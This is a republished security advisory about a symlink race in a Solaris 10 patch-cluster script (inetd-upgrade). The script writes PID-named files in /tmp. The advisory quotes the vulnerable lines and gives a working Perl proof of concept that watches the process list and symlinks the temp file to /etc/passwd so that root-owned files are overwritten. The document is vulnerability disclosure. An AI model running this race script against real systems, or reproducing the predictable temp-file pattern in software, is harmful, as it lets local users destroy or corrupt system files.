Solaris 10 Patch Cluster Symlink Attack

2012.08.09
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-59

Larry W. Cashdollar 8/6/2012 Here is another symlink attack with temp file creation using process id in Solaris 10 patch cluster. You can over write the contents of root owned files with the contents of inetd.conf. In patches/137097-01/SUNWcsr/reloc/lib/svc/method/inetd-upgrade lines : 72 inetdconf_entries_file=/tmp/iconf_entries.$$ 73 74 # Create sed script that prints out inetd.conf src line from inetconv generated 75 # manifest. 76 cat <<EOF > /tmp/inetd-upgrade.$$.sed 77 /propval name='source_line'/{ 78 n 79 s/'//g 80 p 81 } 82 /from the inetd.conf(4) format line/{ 83 n 84 p 85 } 86 EOF If 137097-01 is applied and changes need to be made to the inetd.conf file a malicious user can over write the contents of a root owned file with a simple script: #!/usr/bin/perl $clobber = "/etc/passwd"; while(1) { open ps,"ps -ef | grep -v grep |grep -v PID |"; while(<ps>) { @args = split " ", $_; if (/inetd-upgrade/) { print "Symlinking iconf_entries.$args[1] to $clobber\n"; symlink($clobber,"/tmp/iconf_entries.$args[1]"); exit(1); } } } http://vapid.dhs.org/advisories @lcashdol

References:

http://vapid.dhs.org/advisories


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top